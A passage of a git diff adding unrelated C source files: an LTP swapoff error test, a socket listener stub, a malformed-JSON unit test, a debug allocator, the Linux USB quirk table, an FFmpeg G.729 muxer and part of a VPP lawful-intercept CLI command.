+ char *msg; /* message returned from parse_opts */ + + /* parse standard options */ + if ((msg = parse_opts(ac, av, NULL, NULL)) != NULL) + tst_brkm(TBROK, NULL, "OPTION PARSING ERROR - %s", msg); + + setup(); + + for (lc = 0; TEST_LOOPING(lc); lc++) { + + Tst_count = 0; + + for (i = 0; i < TST_TOTAL; i++) { + + if (testcase[i].setupfunc && + testcase[i].setupfunc() == -1) { + tst_resm(TWARN, "Failed to setup test %d." + " Skipping test", i); + continue; + } else { + TEST(syscall(__NR_swapoff, testcase[i].path)); + } + + if (testcase[i].cleanfunc && + testcase[i].cleanfunc() == -1) { + tst_brkm(TBROK, cleanup, "cleanup failed," + " quitting the test"); + } + + /* check return code */ + if ((TEST_RETURN == -1) && (TEST_ERRNO == testcase[i]. + exp_errno)) { + tst_resm(TPASS, "swapoff(2) expected failure;" + " Got errno - %s : %s", + testcase[i].exp_errval, + testcase[i].err_desc); + + } else { + tst_resm(TFAIL, "swapoff(2) failed to produce" + " expected error; %d, errno" + ": %s and got %d", + testcase[i].exp_errno, + testcase[i].exp_errval, TEST_ERRNO); + + if ((TEST_RETURN == 0) && (i == 2)) { + if (syscall(__NR_swapon, "./swapfile01", 0) != 0) { + tst_brkm(TBROK, cleanup, + " Failed to turn on" + " swap file"); + } + } + } + + TEST_ERROR_LOG(TEST_ERRNO); + } /*End of TEST LOOPS */ + } + + /*Clean up and exit */ + cleanup(); + + tst_exit(); +} /*End of main */ + +/* + * setup01() - This function sets the user as nobody + */ +int setup01() +{ + if ((ltpuser = getpwnam(nobody_uid)) == NULL) { + tst_resm(TWARN, "\"nobody\" user not present. skipping test"); + return -1; + } + + if (seteuid(ltpuser->pw_uid) == -1) { + tst_resm(TWARN, "seteuid failed to " + "to set the effective uid to %d", ltpuser->pw_uid); + perror("seteuid"); + return -1; + } + + return 0; /* user switched to nobody */ +} + +/* + * cleanup01() - switch back to user root + */ +int cleanup01() +{ + if (seteuid(0) == -1) { + tst_brkm(TBROK, cleanup, "seteuid failed to set uid to root"); + perror("seteuid"); + return -1; + } + + return 0; +} + +int setup02() +{ + int fd; + fd = creat("nofile", S_IRWXU); + if (fd == -1) + tst_resm(TWARN, "Failed to create temporary file"); + return 0; +} + +/* setup() - performs all ONE TIME setup for this test */ +void setup() +{ + + tst_sig(FORK, DEF_HANDLER, cleanup); + + /* set the expected errnos... */ + TEST_EXP_ENOS(exp_enos); + + /* Check whether we are root */ + if (geteuid() != 0) { + tst_brkm(TBROK, NULL, "Test must be run as root"); + } + + TEST_PAUSE; + + tst_tmpdir(); + + if (tst_is_cwd_tmpfs()) { + tst_brkm(TCONF, cleanup, + "Cannot do swapon on a file located on a tmpfs filesystem"); + } + + if (tst_is_cwd_nfs()) { + tst_brkm(TCONF, cleanup, + "Cannot do swapon on a file located on a nfs filesystem"); + } + + if (!tst_cwd_has_free(65536)) { + tst_brkm(TBROK, cleanup, + "Insufficient disk space to create swap file"); + } + + /*create file */ + if (system + ("dd if=/dev/zero of=swapfile01 bs=1024 count=65536 > tmpfile" + " 2>&1") != 0) { + tst_brkm(TBROK, cleanup, "Failed to create file for swap"); + } + + /* make above file a swap file */ + if (system("mkswap ./swapfile01 > tmpfile 2>&1") != 0) { + tst_brkm(TBROK, cleanup, "Failed to make swapfile"); + } + + if (syscall(__NR_swapon, "./swapfile01", 0) != 0) { + tst_brkm(TBROK, cleanup, "Failed to turn on the swap file." + " skipping the test iteration"); + } + + need_swapfile_cleanup = 1; + +} + +/* +* cleanup() - Performs one time cleanup for this test at +* completion or premature exit +*/ +void cleanup() +{ + /* + * print timing stats if that option was specified. + * print errno log if that option was specified. + */ + TEST_CLEANUP; + + if (need_swapfile_cleanup && (syscall(__NR_swapoff, "./swapfile01") != 0)) { + tst_resm(TWARN, " Failed to turn off swap file. System reboot" + " after execution of LTP test suite is" + " recommended."); + } + + tst_rmdir(); + +} \ No newline at end of file diff --git a/pool/shard011/C/0142416_box.c b/pool/shard011/C/0142416_box.c new file mode 100644 index 0000000000000000000000000000000000000000..7add49eea01ceb97e0948d08a5650357c0068291 --- /dev/null +++ b/pool/shard011/C/0142416_box.c @@ -0,0 +1,195 @@ +#include +#include + +#include +#include + +#include +#include + +#include + +#include +#include +#include + +//TODO: +// -Add better error messages. + +//first of all, i'd like to make the connection using threads. + +void* doProcessingDev (void *socket); +void* doProcessingSrv (void *socket); +void* fromDevice (void *port); +void* fromServer (void *port); +int initSocketListener(int port, void* (*processFunc)(void* arg)); +char representsInt(char* str); + +int main(int argc, char *argv[] ) { + + //checking if we got 1 argument, and if that's a number. + if(!(argc==2 && representsInt(argv[1]))){ + printf("Usage: %s [portno]\n", argv[0]); + return(1); + } + + //converting given port arg to integers, so we can pass their pointers to threads later. + int port = strtol(argv[1], (char**)NULL, 10); + int toDevPort=port; + int fromDevPort=port+1; + int toSrvPort=port+2; + int fromSrvPort=port+3; + + //the two main listener thread. + pthread_t fromDevThr, fromSrvThr; + + //creating the thread that will serve the incoming connections from the local devices. + int err; + err=pthread_create(&fromDevThr, NULL, &fromDevice, &fromDevPort); + if (err != 0) + perror("ERROR - Can't create fromDevThr thread.\n"); + + //creating the thread that will serve the incoming connections from the main server. + err=pthread_create(&fromSrvThr, NULL, &fromServer, &fromSrvPort); + if (err != 0) + perror("ERROR - Can't create fromSrvThr thread.\n"); + + + pthread_join(fromDevThr, NULL); + pthread_join(fromSrvThr, NULL); + pthread_exit(NULL); +} + +int initSocketListener(int port, void * (*processFunc)(void* arg)){ + int sockfd; + struct sockaddr_in serv_addr, cli_addr; + + /* First call to socket() function */ + sockfd = socket(AF_INET, SOCK_STREAM, 0); + + if (sockfd < 0) { + perror("ERROR - Couldn't open socket.\n"); + return(1); + } + + /* Initialize socket structure */ + bzero((char *) &serv_addr, sizeof(serv_addr)); + + serv_addr.sin_family = AF_INET; + serv_addr.sin_addr.s_addr = INADDR_ANY; + serv_addr.sin_port = htons(port); + + /* Now bind the host address using bind() call.*/ + if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) { + perror("ERROR - Couldn't bind.\n"); + return(2); + }else{ + printf("Listening on port %d...\n", port); + } + + /* Now start listening for the clients, here + * process will go in sleep mode and will wait + * for the incoming connection + */ + + listen(sockfd,3); //2nd argument is the max queue length + int clilen = sizeof(cli_addr); + + while (1) { + int *newsockfd=malloc(sizeof(int)); + *newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); + + //If a connection was accepted, then we'll make another thread which will handle it. + //A thread will work on the same memory space, so we'll have to allocate for any individual connection. + + if (newsockfd < 0) { + perror("ERROR - Error on accept.\n"); + return(3); + } + else{ + pthread_t *thr =malloc(sizeof(pthread_t)); //do i need this? + int err=pthread_create(thr, NULL, processFunc, newsockfd); + free(thr); + if (err != 0){ + perror("ERROR - Couldn't create a processing thread.\n"); + return(4); + } + } + } //end of while + return(0); +} + +void* fromDevice(void *port) { + if(initSocketListener(*(int*)port, &doProcessingDev)) + perror("ERROR - Couldn't initialize the device listener socket connection.\n"); + pthread_exit(NULL); +} + +void* fromServer(void *port){ + if(initSocketListener(*(int*)port, &doProcessingSrv)) + perror("ERROR - Couldn't initialize the server listener socket connection.\n"); + pthread_exit(NULL); + +} + +void* doProcessingDev (void *socket) { + int n; + char buffer[16]; + bzero(buffer,16); + n = read(*((int*)socket),buffer,16); + + if (n < 0) { + perror("ERROR - Couldn't read from socket.\n"); + pthread_exit(NULL); + } + + //DO ACTUAL PROCESSING HERE + printf("You sent: %s", buffer); + + //n=write(socket,handleFunction(buffer),16) + + if (n < 0) { + perror("ERROR - Couldn't write to socket.\n"); + pthread_exit(NULL); + } + + close(*((int*)socket)); + free(socket); + pthread_exit(NULL); +} + +void* doProcessingSrv (void *socket) { + int n; + char buffer[16]; + bzero(buffer,16); + n = read(*((int*)socket),buffer,16); + + if (n < 0) { + perror("\nERROR - Couldn't read from socket."); + pthread_exit(NULL); + } + + //DO ACTUAL PROCESSING HERE + + //n=write(socket,handleFunction(buffer),16) + + if (n < 0) { + perror("\nERROR - Couldn't write to socket."); + pthread_exit(NULL); + } + + close(*((int*)socket)); + free(socket); + pthread_exit(NULL); +} + +char representsInt(char* str){ + int i=0; + while(str[i]!='\0'){ + if(!isdigit(str[i])){ + return(0); + } + i++; + } + return(1); +} diff --git a/pool/shard011/C/0142417_test_malformed_json.c b/pool/shard011/C/0142417_test_malformed_json.c new file mode 100644 index 0000000000000000000000000000000000000000..a4fc860e043832eebb47762149739c9ad28a4d6e --- /dev/null +++ b/pool/shard011/C/0142417_test_malformed_json.c @@ -0,0 +1,40 @@ +#include +#include + +#include "unity.h" + +#include "json_test_common.c" +#include "json_test_schema.c" + +static const char* s[] = { + "}{", + "{\"x", + "{\"x\": [{", + "{123:456}", + "0000000000000000000000000000000000000000000000000000000000", +}; + +void test_malformed_documents(void) { + for (int i = 0; i < sizeof(s) / sizeof(s[0]); i++) { + FILE* fp = write_temp_file("in.tmp", s[i], strlen(s[i])); + set_fp(fp); + memset(&json_test_dest, 0, sizeof(json_test_dest_t)); + + json_read_result_t rd_result = json_read( + read_fp, copy, + &json_test_dest, &json_test_docdef, + json_test_buf, sizeof(json_test_buf), + json_test_tokens, sizeof(json_test_tokens) / sizeof(json_test_tokens[0])); + fclose(fp); + + TEST_ASSERT_EQUAL_INT(rd_result, JSON_READ_MALFORMED); + } +} + +int main(void) { + UNITY_BEGIN(); + + RUN_TEST(test_malformed_documents); + + return UNITY_END(); +} diff --git a/pool/shard011/C/0142418_DebugMemory.c b/pool/shard011/C/0142418_DebugMemory.c new file mode 100644 index 0000000000000000000000000000000000000000..aa992769438248d5178941216d3aef3ee379dade --- /dev/null +++ b/pool/shard011/C/0142418_DebugMemory.c @@ -0,0 +1,218 @@ + +#define _GNU_SOURCE +#include +#include +#include +#include + +#include "Prototypes.h" + +#undef strdup +#undef malloc +#undef realloc +#undef calloc +#undef free + +/*{ + +struct DebugMemoryItem_ { + int magic; + void* data; + char* file; + int line; + DebugMemoryItem* next; +}; + +typedef struct DebugMemory_ { + DebugMemoryItem* first; + int allocations; + int deallocations; + int size; + bool totals; + FILE* file; +} DebugMemory; + +}*/ + +//#if defined(DEBUG) + +static DebugMemory* singleton = NULL; + +void DebugMemory_new() { + if (singleton) + return; + singleton = malloc(sizeof(DebugMemory)); + singleton->first = NULL; + singleton->allocations = 0; + singleton->deallocations = 0; + singleton->size = 0; + singleton->file = fopen("/tmp/alloc.txt", "w"); + singleton->totals = true; + //singleton->file = NULL; +} + +void* DebugMemory_malloc(int size, char* file, int line, char* str) { + void* data = malloc(size); + DebugMemory_registerAllocation(data, file, line); + if (singleton->file) { + if (singleton->totals) fprintf(singleton->file, "%d\t", singleton->size); + fprintf(singleton->file, "%d\t%s:%d (%s)\n", size, file, line, str); + } + return data; +} + +void* DebugMemory_calloc(int a, int b, char* file, int line) { + void* data = calloc(a, b); + DebugMemory_registerAllocation(data, file, line); + if (singleton->file) { + if (singleton->totals) fprintf(singleton->file, "%d\t", singleton->size); + fprintf(singleton->file, "%d\t%s:%d\n", a*b, file, line); + } + return data; +} + +void* DebugMemory_realloc(void* ptr, int size, char* file, int line, char* str) { + if (ptr != NULL) + DebugMemory_registerDeallocation(ptr, file, line); + void* data = realloc(ptr, size); + DebugMemory_registerAllocation(data, file, line); + if (singleton->file) { + if (singleton->totals) fprintf(singleton->file, "%d\t", singleton->size); + fprintf(singleton->file, "%d\t%s:%d (%s)\n", size, file, line, str); + } + return data; +} + +void* DebugMemory_strdup(char* str, char* file, int line) { + assert(str); + char* data = malloc((((strlen(str)+1)/4)+1)*4); + strcpy(data, str); + DebugMemory_registerAllocation(data, file, line); + if (singleton->file) { + if (singleton->totals) fprintf(singleton->file, "%d\t", singleton->size); + fprintf(singleton->file, "%d\t%s:%d\n", (int) strlen(str), file, line); + } + return data; +} + +void DebugMemory_free(void* data, char* file, int line) { + if (!data) return; + DebugMemory_registerDeallocation(data, file, line); + if (singleton->file) { + if (singleton->totals) fprintf(singleton->file, "%d\t", singleton->size); + fprintf(singleton->file, "free\t%s:%d\n", file, line); + } + free(data); +} + +void DebugMemory_assertSize() { + if (!singleton->first) { + assert (singleton->size == 0); + } + DebugMemoryItem* walk = singleton->first; + int i = 0; + while (walk != NULL) { + assert(walk->magic == 11061980); + i++; + walk = walk->next; + } + assert (i == singleton->size); +} + +int DebugMemory_getBlockCount() { + if (!singleton->first) { + return 0; + } + DebugMemoryItem* walk = singleton->first; + int i = 0; + while (walk != NULL) { + assert(walk->magic == 11061980); + i++; + walk = walk->next; + } + return i; +} + +void DebugMemory_registerAllocation(void* data, char* file, int line) { + if (!singleton) + DebugMemory_new(); + DebugMemory_assertSize(); + DebugMemoryItem* item = (DebugMemoryItem*) malloc(sizeof(DebugMemoryItem)); + item->magic = 11061980; + item->data = data; + item->file = file; + item->line = line; + item->next = NULL; + int val = DebugMemory_getBlockCount(); + if (singleton->first == NULL) { + assert (val == 0); + singleton->first = item; + } else { + DebugMemoryItem* walk = singleton->first; + while (true) { + if (walk->next == NULL) { + walk->next = item; + break; + } + assert(walk->magic == 11061980); + walk = walk->next; + } + } + (void)val; + assert(DebugMemory_getBlockCount() == val + 1); + singleton->allocations++; + singleton->size++; + DebugMemory_assertSize(); +} + +void DebugMemory_registerDeallocation(void* data, char* file, int line) { + assert(singleton); + assert(singleton->first); + DebugMemoryItem* walk = singleton->first; + DebugMemoryItem* prev = NULL; + int val = DebugMemory_getBlockCount(); + (void)val; + while (walk != NULL) { + assert(walk->magic == 11061980); + if (walk->data == data) { + if (prev == NULL) { + singleton->first = walk->next; + } else { + prev->next = walk->next; + } + free(walk); + assert(DebugMemory_getBlockCount() == val - 1); + singleton->deallocations++; + singleton->size--; + DebugMemory_assertSize(); + return; + } + DebugMemoryItem* tmp = walk; + walk = walk->next; + prev = tmp; + } + DebugMemory_report(); + fprintf(stderr, "Couldn't find allocation for memory freed at %s:%d\n", file, line); + assert(false); +} + +void DebugMemory_report() { + assert(singleton); + DebugMemoryItem* walk = singleton->first; + int i = 0; + while (walk != NULL) { + assert(walk->magic == 11061980); + i++; + fprintf(stderr, "%p %s:%d\n", walk->data, walk->file, walk->line); + walk = walk->next; + } + fprintf(stderr, "Total:\n"); + fprintf(stderr, "%d allocations\n", singleton->allocations); + fprintf(stderr, "%d deallocations\n", singleton->deallocations); + fprintf(stderr, "%d size\n", singleton->size); + fprintf(stderr, "%d non-freed blocks\n", i); + if (singleton->file) + fclose(singleton->file); +} + +//#endif diff --git a/pool/shard011/C/0142419_quirks.c b/pool/shard011/C/0142419_quirks.c new file mode 100644 index 0000000000000000000000000000000000000000..212b087fd722a61186b180fa5f0497b23da357bb --- /dev/null +++ b/pool/shard011/C/0142419_quirks.c @@ -0,0 +1,227 @@ +/* + * USB device quirk handling logic and table + * + * Copyright (c) 2007 Oliver Neukum + * Copyright (c) 2007 Greg Kroah-Hartman + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the Free + * Software Foundation, version 2. + * + * + */ + +#include +#include +#include "usb.h" + +/* List of quirky USB devices. Please keep this list ordered by: + * 1) Vendor ID + * 2) Product ID + * 3) Class ID + * + * as we want specific devices to be overridden first, and only after that, any + * class specific quirks. + * + * Right now the logic aborts if it finds a valid device in the table, we might + * want to change that in the future if it turns out that a whole class of + * devices is broken... + */ +static const struct usb_device_id usb_quirk_list[] = { + /* CBM - Flash disk */ + { USB_DEVICE(0x0204, 0x6025), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* HP 5300/5370C scanner */ + { USB_DEVICE(0x03f0, 0x0701), .driver_info = + USB_QUIRK_STRING_FETCH_255 }, + + /* Creative SB Audigy 2 NX */ + { USB_DEVICE(0x041e, 0x3020), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Webcam C200 */ + { USB_DEVICE(0x046d, 0x0802), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Webcam C250 */ + { USB_DEVICE(0x046d, 0x0804), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Webcam C300 */ + { USB_DEVICE(0x046d, 0x0805), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Webcam B/C500 */ + { USB_DEVICE(0x046d, 0x0807), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Webcam C600 */ + { USB_DEVICE(0x046d, 0x0808), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Webcam Pro 9000 */ + { USB_DEVICE(0x046d, 0x0809), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Webcam C905 */ + { USB_DEVICE(0x046d, 0x080a), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Webcam C210 */ + { USB_DEVICE(0x046d, 0x0819), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Webcam C260 */ + { USB_DEVICE(0x046d, 0x081a), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Webcam C310 */ + { USB_DEVICE(0x046d, 0x081b), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Webcam C910 */ + { USB_DEVICE(0x046d, 0x0821), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Webcam C160 */ + { USB_DEVICE(0x046d, 0x0824), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Webcam C270 */ + { USB_DEVICE(0x046d, 0x0825), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Quickcam Pro 9000 */ + { USB_DEVICE(0x046d, 0x0990), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Quickcam E3500 */ + { USB_DEVICE(0x046d, 0x09a4), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Quickcam Vision Pro */ + { USB_DEVICE(0x046d, 0x09a6), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Logitech Harmony 700-series */ + { USB_DEVICE(0x046d, 0xc122), .driver_info = USB_QUIRK_DELAY_INIT }, + + /* Philips PSC805 audio device */ + { USB_DEVICE(0x0471, 0x0155), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Artisman Watchdog Dongle */ + { USB_DEVICE(0x04b4, 0x0526), .driver_info = + USB_QUIRK_CONFIG_INTF_STRINGS }, + + /* Microchip Joss Optical infrared touchboard device */ + { USB_DEVICE(0x04d8, 0x000c), .driver_info = + USB_QUIRK_CONFIG_INTF_STRINGS }, + + /* Samsung Android phone modem - ID conflict with SPH-I500 */ + { USB_DEVICE(0x04e8, 0x6601), .driver_info = + USB_QUIRK_CONFIG_INTF_STRINGS }, + + /* Roland SC-8820 */ + { USB_DEVICE(0x0582, 0x0007), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Edirol SD-20 */ + { USB_DEVICE(0x0582, 0x0027), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Alcor Micro Corp. Hub */ + { USB_DEVICE(0x058f, 0x9254), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* appletouch */ + { USB_DEVICE(0x05ac, 0x021a), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Avision AV600U */ + { USB_DEVICE(0x0638, 0x0a13), .driver_info = + USB_QUIRK_STRING_FETCH_255 }, + + /* Saitek Cyborg Gold Joystick */ + { USB_DEVICE(0x06a3, 0x0006), .driver_info = + USB_QUIRK_CONFIG_INTF_STRINGS }, + + /* Guillemot Webcam Hercules Dualpix Exchange (2nd ID) */ + { USB_DEVICE(0x06f8, 0x0804), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Guillemot Webcam Hercules Dualpix Exchange*/ + { USB_DEVICE(0x06f8, 0x3005), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Midiman M-Audio Keystation 88es */ + { USB_DEVICE(0x0763, 0x0192), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* M-Systems Flash Disk Pioneers */ + { USB_DEVICE(0x08ec, 0x1000), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Keytouch QWERTY Panel keyboard */ + { USB_DEVICE(0x0926, 0x3333), .driver_info = + USB_QUIRK_CONFIG_INTF_STRINGS }, + + /* X-Rite/Gretag-Macbeth Eye-One Pro display colorimeter */ + { USB_DEVICE(0x0971, 0x2000), .driver_info = USB_QUIRK_NO_SET_INTF }, + + /* Broadcom BCM92035DGROM BT dongle */ + { USB_DEVICE(0x0a5c, 0x2021), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Action Semiconductor flash disk */ + { USB_DEVICE(0x10d6, 0x2200), .driver_info = + USB_QUIRK_STRING_FETCH_255 }, + + /* SKYMEDI USB_DRIVE */ + { USB_DEVICE(0x1516, 0x8628), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* BUILDWIN Photo Frame */ + { USB_DEVICE(0x1908, 0x1315), .driver_info = + USB_QUIRK_HONOR_BNUMINTERFACES }, + + /* INTEL VALUE SSD */ + { USB_DEVICE(0x8086, 0xf1a5), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Samsung CMC221 LTE Modem */ + { USB_DEVICE(0x04e8, 0x6999), .driver_info = USB_QUIRK_NO_GET_STATUS }, + + /* IMC_BOOT - XMM6260, XMM6262 */ + { USB_DEVICE(0x058b, 0x0041), .driver_info = USB_QUIRK_HSIC_TUNE }, + + /* IMC_MAIN - XMM6260, XMM6262 */ + { USB_DEVICE(0x1519, 0x0020), .driver_info = USB_QUIRK_HSIC_TUNE }, + + /* STE_BOOT - M7400 */ + { USB_DEVICE(0x04cc, 0x7400), .driver_info = USB_QUIRK_HSIC_TUNE }, + + /* STE_MAIN - M7400 */ + { USB_DEVICE(0x04cc, 0x2333), .driver_info = USB_QUIRK_HSIC_TUNE }, + + /* Qualcomm MDM9x15 */ + { USB_DEVICE(0x05c6, 0x9048), + .driver_info = USB_QUIRK_HSIC_TUNE | USB_QUIRK_NO_DPM_RESUME}, + + { USB_DEVICE(0x05c6, 0x904C), + .driver_info = USB_QUIRK_HSIC_TUNE | USB_QUIRK_NO_DPM_RESUME}, + { } /* terminating entry must be last */ +}; + +static const struct usb_device_id *find_id(struct usb_device *udev) +{ + const struct usb_device_id *id = usb_quirk_list; + + for (; id->idVendor || id->bDeviceClass || id->bInterfaceClass || + id->driver_info; id++) { + if (usb_match_device(udev, id)) + return id; + } + return NULL; +} + +/* + * Detect any quirks the device has, and do any housekeeping for it if needed. + */ +void usb_detect_quirks(struct usb_device *udev) +{ + const struct usb_device_id *id = usb_quirk_list; + + id = find_id(udev); + if (id) + udev->quirks = (u32)(id->driver_info); + if (udev->quirks) + dev_dbg(&udev->dev, "USB quirks for this device: %x\n", + udev->quirks); + + /* For the present, all devices default to USB-PERSIST enabled */ +#if 0 /* was: #ifdef CONFIG_PM */ + /* Hubs are automatically enabled for USB-PERSIST */ + if (udev->descriptor.bDeviceClass == USB_CLASS_HUB) + udev->persist_enabled = 1; + +#else + /* In the absence of PM, we can safely enable USB-PERSIST + * for all devices. It will affect things like hub resets + * and EMF-related port disables. + */ + if (!(udev->quirks & USB_QUIRK_RESET_MORPHS)) + udev->persist_enabled = 1; +#endif /* CONFIG_PM */ +} diff --git a/pool/shard011/C/0142420_bit.c b/pool/shard011/C/0142420_bit.c new file mode 100644 index 0000000000000000000000000000000000000000..0be471ac4f80e5f2cb8a604237ae55fa2e64e161 --- /dev/null +++ b/pool/shard011/C/0142420_bit.c @@ -0,0 +1,156 @@ +/* + * G.729 bit format muxer and demuxer + * Copyright (c) 2007-2008 Vladimir Voroshilov + * + * This file is part of FFmpeg. + * + * FFmpeg is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * FFmpeg is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with FFmpeg; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "avformat.h" +#include "internal.h" +#include "libavcodec/get_bits.h" +#include "libavcodec/put_bits.h" + +#define MAX_FRAME_SIZE 10 + +#define SYNC_WORD 0x6b21 +#define BIT_0 0x7f +#define BIT_1 0x81 + +static int probe(AVProbeData *p) +{ + int i, j; + + if(p->buf_size < 0x40) + return 0; + + for(i=0; i+3buf_size && i< 10*0x50; ){ + if(AV_RL16(&p->buf[0]) != SYNC_WORD) + return 0; + j=AV_RL16(&p->buf[2]); + if(j!=0x40 && j!=0x50) + return 0; + i+=j; + } + return AVPROBE_SCORE_EXTENSION; +} + +static int read_header(AVFormatContext *s) +{ + AVStream* st; + + st=avformat_new_stream(s, NULL); + if (!st) + return AVERROR(ENOMEM); + + st->codec->codec_type = AVMEDIA_TYPE_AUDIO; + st->codec->codec_id=AV_CODEC_ID_G729; + st->codec->sample_rate=8000; + st->codec->block_align = 16; + st->codec->channels=1; + + avpriv_set_pts_info(st, 64, 1, 100); + return 0; +} + +static int read_packet(AVFormatContext *s, + AVPacket *pkt) +{ + AVIOContext *pb = s->pb; + PutBitContext pbo; + uint16_t buf[8 * MAX_FRAME_SIZE + 2]; + int packet_size; + uint16_t* src=buf; + int i, j, ret; + int64_t pos= avio_tell(pb); + + if(url_feof(pb)) + return AVERROR_EOF; + + avio_rl16(pb); // sync word + packet_size = avio_rl16(pb) / 8; + if(packet_size > MAX_FRAME_SIZE) + return AVERROR_INVALIDDATA; + + ret = avio_read(pb, (uint8_t*)buf, (8 * packet_size) * sizeof(uint16_t)); + if(ret<0) + return ret; + if(ret != 8 * packet_size * sizeof(uint16_t)) + return AVERROR(EIO); + + if (av_new_packet(pkt, packet_size) < 0) + return AVERROR(ENOMEM); + + init_put_bits(&pbo, pkt->data, packet_size); + for(j=0; j < packet_size; j++) + for(i=0; i<8;i++) + put_bits(&pbo,1, AV_RL16(src++) == BIT_1 ? 1 : 0); + + flush_put_bits(&pbo); + + pkt->duration=1; + pkt->pos = pos; + return 0; +} + +AVInputFormat ff_bit_demuxer = { + .name = "bit", + .long_name = NULL_IF_CONFIG_SMALL("G.729 BIT file format"), + .read_probe = probe, + .read_header = read_header, + .read_packet = read_packet, + .extensions = "bit", +}; + +#if CONFIG_MUXERS +static int write_header(AVFormatContext *s) +{ + AVCodecContext *enc = s->streams[0]->codec; + + enc->codec_id = AV_CODEC_ID_G729; + enc->channels = 1; + enc->bits_per_coded_sample = 16; + enc->block_align = (enc->bits_per_coded_sample * enc->channels) >> 3; + + return 0; +} + +static int write_packet(AVFormatContext *s, AVPacket *pkt) +{ + AVIOContext *pb = s->pb; + GetBitContext gb; + int i; + + avio_wl16(pb, SYNC_WORD); + avio_wl16(pb, 8 * 10); + + init_get_bits(&gb, pkt->data, 8*10); + for(i=0; i< 8 * 10; i++) + avio_wl16(pb, get_bits1(&gb) ? BIT_1 : BIT_0); + + return 0; +} + +AVOutputFormat ff_bit_muxer = { + .name = "bit", + .long_name = NULL_IF_CONFIG_SMALL("G.729 BIT file format"), + .mime_type = "audio/bit", + .extensions = "bit", + .audio_codec = AV_CODEC_ID_G729, + .video_codec = AV_CODEC_ID_NONE, + .write_header = write_header, + .write_packet = write_packet, +}; +#endif diff --git a/pool/shard011/C/0142421_lawful_intercept.c b/pool/shard011/C/0142421_lawful_intercept.c new file mode 100644 index 0000000000000000000000000000000000000000..ef07a339201683661c07d1a0dcee4d79241ec339 --- /dev/null +++ b/pool/shard011/C/0142421_lawful_intercept.c @@ -0,0 +1,112 @@ +/* + * Copyright (c) 2015 Cisco and/or its affiliates. + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +static clib_error_t * +set_li_command_fn (vlib_main_t * vm, + unformat_input_t * input, + vlib_cli_command_t * cmd) +{ + li_main_t * lm = &li_main; + ip4_address_t collector; + u8 collector_set = 0; + ip4_address_t src; + u8 src_set = 0; + u32 tmp; + u16 udp_port = 0; + u8 is_add = 1; + int i; + + while (unformat_check_input (input) != UNFORMAT_END_OF_INPUT) { + if (unformat (input, "collector %U", unformat_ip4_address, &collector)) + collector_set = 1; + if (unformat (input, "src %U", unformat_ip4_address, &src)) + src_set = 1; + else if (unformat (input, "udp-port %d", &tmp)) + udp_port = tmp; + else if (unformat (input, "del")) + is_add = 0; + else + break; + } + + if (collector_set == 0) + return clib_error_return (0, "collector must be set..."); + if (src_set == 0) + return clib_error_return (0, "src must be set..."); + if (udp_port == 0) + return clib_error_return (0, "udp-port must be set..."); + + if (is_add == 1) + { + for (i = 0; i < vec_len (lm->collectors); i++) + { + if (lm->collectors[i].as_u32 == collector.as_u32) + { + if (lm->ports[i] == udp_port) + return clib_error_return + (0, "collector %U:%d already configured", + &collector, udp_port); + else + return clib_error_return + (0, "collector %U already configured with port %d", + &collector, (int)(lm->ports[i])); + } + } + vec_add1 (lm->collectors, collector); + vec_add1 (lm->ports, udp_port); + vec_add1 (lm->src_addrs, src); + return 0; + } + else + { + for (i = 0; i < vec_len (lm->collectors); i++) + { + if ((lm->collectors[i].as_u32 == collector.as_u32) + && lm->ports[i] == udp_port) + { + vec_delete (lm->collectors, 1, i); + vec_delete (lm->ports, 1, i); + vec_delete (lm->src_addrs, 1, i); + return 0; + } + } + return clib_error_return (0, "collector %U:%d not configured", + &collector, udp_port); + } + return 0; +} + +VLIB_CLI_COMMAND 